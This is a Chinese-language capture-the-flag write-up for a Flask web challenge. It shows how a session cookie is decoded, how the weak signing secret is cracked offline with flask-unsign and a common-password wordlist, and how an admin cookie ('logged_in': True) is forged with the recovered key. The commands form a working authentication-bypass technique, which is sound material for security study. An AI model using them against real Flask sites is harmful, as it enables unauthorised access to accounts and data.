Flask签名验证
题目名称
web-intro 网页介绍
题目介绍
Are you an admin?
你是管理员吗?
Note: Access Denied is part of the challenge.
注意:“访问被拒绝”是本次挑战的一部分。
Flag format: CTF{sha256}
解题
观察cookie
Set-Cookie: session=eyJsb2dnZWRfaW4iOmZhbHNlfQ.aq-WFg.DmoibNHeCLk13bC9kmf0JMbnVdk; HttpOnly; Path=/
Server: Werkzeug/2.0.3 Python/3.6.9
JWT解码
echo "eyJsb2dnZWRfaW4iOmZhbHNlfQ==" | base64 -d
# {"logged_in":false}
改cookie

仍然显示403
怀疑进行了签名校验
eyJsb2dnZWRfaW4iOmZhbHNlfQ.aq-WFg.DmoibNHeCLk13bC9kmf0JMbnVdk
eyJsb2dnZWRfaW4iOmZhbHNlfQ . aq-R5w . xxxxxxxxxxxxxxxxx
└──────────①──────────────┘ └──②──┘ └──────③──────┘
Session 数据 时间信息 签名
Flask Cookie 的签名机制是可离线验证的
给定一个 cookie,你可以本地验证某个密钥是否正确——只需用候选密钥重新计算签名,看是否匹配。
用弱口令字典10k-most-common.txt
如果开发者使用了弱密钥(如 secret、password123 等),就可以:
┌────────────────────────────┬─────────────────────────────────┐
│ 步骤 │ 说明 │
├────────────────────────────┼─────────────────────────────────┤
│ ① 从字典里取出一个候选密钥 │ 比如 "secret" │
├────────────────────────────┼─────────────────────────────────┤
│ ② 用该密钥重新计算 HMAC │ HMAC-SHA1("secret", payload+ts) │
├────────────────────────────┼─────────────────────────────────┤
│ ③ 对比计算结果和原始签名 │ 匹配 → 这就是 SECRET_KEY │
├────────────────────────────┼─────────────────────────────────┤
│ ④ 不匹配 → 换下一个候选 │ 直到字典耗尽 │
└────────────────────────────┴─────────────────────────────────┘
基础命令
flask-unsign --unsign \
--cookie "eyJsb2dnZWRfaW4iOmZhbHNlfQ.aq-WFg.DmoibNHeCLk13bC9kmf0JMbnVdk" \
--wordlist 10k-most-common.txt
加快速度(多线程)
flask-unsign --unsign \
--cookie "eyJsb2dnZWRfaW4iOmZhbHNlfQ.aq-WFg.DmoibNHeCLk13bC9kmf0JMbnVdk" \
--wordlist 10k-most-common.txt \
--threads 8
得到SECRET_KEY = password
把cookie伪造出来
flask-unsign --sign \
--cookie "{'logged_in': True}" \
--secret "password"
eyJsb2dnZWRfaW4iOnRydWV9.aq-Wyg.nsFBFDKfFDVXpwUh0OqXRgU09Zs
最后拿到flag

浙公网安备 33010602011771号